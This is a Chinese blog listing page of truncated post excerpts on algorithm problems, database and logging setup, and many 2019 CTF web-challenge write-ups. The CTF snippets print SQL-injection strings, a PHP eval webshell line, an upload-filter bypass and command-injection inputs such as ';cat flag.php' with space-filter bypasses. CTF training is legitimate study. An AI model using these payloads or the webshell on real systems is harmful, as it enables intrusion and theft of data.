sqlserver日志2019

P5659 [CSP-S2019] 树上的数

相信大家都看过题,但还请搞清楚是数对应结点编号。这里用 \(a_i\) 表示 \(i\) 号结点对应的数。 对于 \(n\leq 10\) 的数据,全排列出删边的顺序然后模拟,取字典序最小的方案。 对于菊花,仍然考虑删边的顺序,假设删边依次是 \(rt\to v_1,rt\to v_2,\cdots ......
P5659 CSP-S 5659 2019 CSP

P5666 [CSP-S2019] 树的重心

考虑一个结点在什么情况下会成为重心。 随便钦定一个根结点。对于结点 \(u\),假设割掉了其子树 \(v\) 中的某条边或连接 \(u\) 和 \(v\) 的边,形成了一棵大小为 \(k\) 的新树。 令 \(mx\) 表示除 \(v\) 子树外最大的子树大小(或 \(n-siz_u\))。如果 \ ......
重心 P5666 CSP-S 5666 2019

[Cnoi2019] 青染之心

[Cnoi2019] 青染之心 题目描述: Cirno初始有一个空的物品序列,一个大小为 \(V\) 的背包,现在你有 \(q\) 个操作,分为两种: add x y : 表示加入一种体积为 \(x\), 价值为 \(y\) 的物品到序列末尾 erase : 表示删除序列末尾的物品 对于每个操作结束 ......
Cnoi 2019

[Azure Developer]把Azure Function中ILogger对象静态化为静态方法提供日志记录

问题描述 在Azure Function代码中,有默认的ILogger对象来记录函数的日志,如果函数引用了一些静态对象,是否有办法使用这个默认的ILogger对象来记录日志呢? using System.Net; using Microsoft.Azure.Functions.Worker; usi ......
静态 Azure Developer Function 对象

springmvc配置文件中配置mybatis-plus日志输出

1.背景 2.配置方式 如果application.properties文件格式: #sql日志logging.level.com.XX.XXX.mapper=debug如果是application.yml文件格式: # 日志配置logging: level: com.wayn: info org. ......
mybatis-plus springmvc mybatis 文件 日志

linux docker 安装sqlserver2022

十年河东,十年河西,莫骑少年穷 学无止境,精益求精 1、拉取镜像 sudo docker pull mcr.microsoft.com/mssql/server:2022-latest 2、运行容器 sudo docker run -e "ACCEPT_EULA=Y" -e "MSSQL_SA_PA ......
sqlserver docker linux 2022

[强网杯 2019]随便注

打开题目,输入:11';show databases;# 后可以发现是堆叠注入。 输入:11';show tables;#。 查看 1919810931114514 表中有什么字段:11';show columns from 1919810931114514;#。 查看 words 表中有什么字段: ......
2019

[SUCTF 2019]EasySQL

题目提示如下。 猜测后台语句是设置为仅在用户输入与 flag 完全一致时才输出 flag。 尝试输入:1;show databases;#,发现存在堆叠注入。 输入:1;show tables;#,获取当前存在的数据表。 尝试输入:1;show columns from Flag;#,经过对比,发现 ......
EasySQL SUCTF 2019

[极客大挑战 2019]EasySQL

访问靶场,是一个登录框,直接尝试万能密码:admin' or 1=1;# 即可获得 flag。 ......
EasySQL 2019

[极客大挑战 2019]Havefun

访问网站如下。 在网页源代码中有提示。 <!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; } --> Payload:/?cat=dog。 ......
Havefun 2019

[极客大挑战 2019]LoveSQL

打开题目如下。 直接使用万能密码即可登录,但未拿到 flag。 这里尝试联合注入,首先确定字段数量,Payload:admin' or 1=1 order by 1;#,当字段数为 4 时报错,因此字段数为 3。 接下来判断什么位置的字段会输出:admin' union select 1,2,3;# ......
LoveSQL 2019

[极客大挑战 2019]Http

打开网页如下。 查看页面源代码,发现存在 Secret.php 页面。 <h2>小组简介</h2> <p>·成立时间:2005年3月 ·研究领域:渗透测试、逆向工程、密码学、IoT硬件安全、移动安全、安全编程、二进制漏洞挖掘利用等安全技术 ·小组的愿望:致力于成为国内实力强劲和拥有广泛影响力的安全研 ......
2019 Http

[极客大挑战 2019]Knife

题目访问如下。 直接使用 antsword 连接即可。 ......
Knife 2019

[极客大挑战 2019]Upload

打开题目后发现是一道上传题,如下。 随便上传个 .jpg 结尾的小马上去,提示:NO! HACKER! your file included '<?'。 <?php @eval($_POST['cmd']); ?> 因此使用其他方式替换掉 <?。 <script language="php">@ev ......
Upload 2019

[极客大挑战 2019]BabySQL

打开题目如下。 尝试输入:admin' or 1=1;#,发现 or 被过滤了。 尝试双写绕过:admin' oorr 1=1;#,成功登录。 接下来是与 **[极客大挑战 2019]LoveSQL **类似的,只是多使用了一个双写绕过而已。 ......
BabySQL 2019

[GXYCTF2019]Ping Ping Ping

访问题目后存在提示。 随后输入:/?ip=1;ls 即可看到当前目录下存在 flag.php 文件。 这里尝试使用 Payload:/?ip=1;cat flag.php 得到如下。 这里尝试使用:${IFS}、{IFS}$9、$IFS$9 来绕过空格过滤,发现程序也检测了 {、} 符号,因此使用 ......
Ping GXYCTF 2019

[极客大挑战 2019]Secret File

打开题目如下。 查看页面源代码,发现存在 Archive_room.php 文件。 访问 Archive_room.php 文件如下。 使用 BurpSuite 抓包,点击 SECRET 后,发现其中某个跳转的页面源代码存在提示 secr3t.php。 HTTP/1.1 302 Found Serv ......
Secret 2019 File

P5404 [CTS2019] 重复 题解

题目链接 观察题目,我们发现直接计算是困难的,先构造单个合法的 \(T\) 分析其性质。 为了构造出 \(T\),先考虑构造时 \(T\) 时什么时候会出现不合法的情况,此时 \(T\) 会有一段和 \(S\) 相同的前缀,且这段前缀后面跟着的字符比 \(S\) 所跟的小。 为了避免这种情况出现,我 ......
题解 P5404 5404 2019 CTS

SqlServer的With递归查询子父级

工作中有一个需求,要判断客户是否有后续订单,就是查后面的订单是否此客户ID下单, 而且要把此客户的所有关联的客户也都判断上 这有点头痛,因为关联客户是一个嵌套型父子级的结构,客户A关联客户B,客户B关联客户C,客户C关联客户D,无论取客户A、B、C、D任一一个去查,都要把整个关联关系的客户A、B、C ......
SqlServer With

[RoarCTF 2019]Easy Calc

题目一打开,是一个计算器。 主页源代码如下,这里可以看到有一个 calc.php 文件,并且提示存在 WAF(疑)。 <!--I've set up WAF to ensure security.--> <script> $('#calc').submit(function(){ $.ajax({ ......
RoarCTF 2019 Easy Calc

[极客大挑战 2019]BuyFlag

打开网页,发现右手边的菜单中有个 PAYFLAG,打开后跳转到 pay.php 中,其中网页源代码有提示,主要内容如下: If you want to buy the FLAG: You must be a student from CUIT!!! You must be answer the co ......
BuyFlag 2019

Golang中log日志包的使用(转)

1.前言 作为后端开发人员,日志文件记录了发生在操作系统或其他软件运行时的事件或状态。技术人员可以通过日志记录进而判断系统的运行状态,寻找导致系统出错、崩溃的成因等。这是我们分析程序问题常用的手段。 2.log包介绍 在Golang中记录日志非常方便,Golang提供了一个简单的日志记录包log,包 ......
Golang 日志 log

[极客大挑战 2019]PHP

打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在 www.zip 文件,下载后解压打开,发现源码。 在 index.php 中,关键代码如下: <?php include 'class.php'; $select = $_GE ......
2019 PHP

[极客大挑战 2019]PHP

打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在 www.zip 文件,下载后解压打开,发现源码。 在 index.php 中,关键代码如下: <?php include 'class.php'; $select = $_GE ......
2019 PHP

go gorm 配置日志

newLogger := logger.New(log.New(os.Stdout, "\r\n", log.LstdFlags), logger.Config{ SlowThreshold: time.Second, // 满阈值 Colorful: true, // 日志颜色开启 Paramet ......
日志 gorm go

[安洵杯 2019]吹着贝斯扫二维码

[安洵杯 2019]吹着贝斯扫二维码 压缩包里面有个flag.zip文件,但是有密码无法打开 并且注释信息里有一串字符GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZ ......
2019

PasteSpider之appsettings.json中的Serilog的配置,分流不同日志层级的信息!

在实际使用Serilog中,我们通常会有不一样的需求,常见的比如 1.按照等级,高级哪个等级的才记录 2.记录文件每个多大,超过的划分到下一个文件中 3.不同等级的记录到不同的位置中 4.按照不一样的格式输出 以下是PasteSpider中的appsettings.json中关于Serilog的配置 ......

sqlserver查询数据库状态SQL

--连接数 SELECT count(0) as ConnectCount from sys.dm_exec_connections --死锁数量 select cntr_value from sys.dm_os_performance_counters where counter_name = ' ......
sqlserver 状态 数据库 数据 SQL

[转]SqlServer大量更新引起同步链延时问题

前言: 在SQLServer数据库中,当我们对一个位于同步链上的表进行更新时,如果更新的记录数也非常多,几百或是几千万,那么批量更新该表会造成同步链的大量延时(甚至有可能崩溃掉,即使同步链不崩溃,等的人也要崩溃了)。 原因: 一般情况下,Replication是根据我们更改的数据一条条更改记录的,也 ......
SqlServer 问题

ELK 企业级日志分析系统

一、ELK 简介 1.1 ELK组件介绍 ELK平台是一套完整的日志集中处理解决方案,将 ElasticSearch、Logstash 和 Kiabana 三个开源工具配合使用, 完成更强大的用户对日志的查询、排序、统计需求。●ElasticSearch:是基于Lucene(一个全文检索引擎的架构) ......
系统 企业 日志 ELK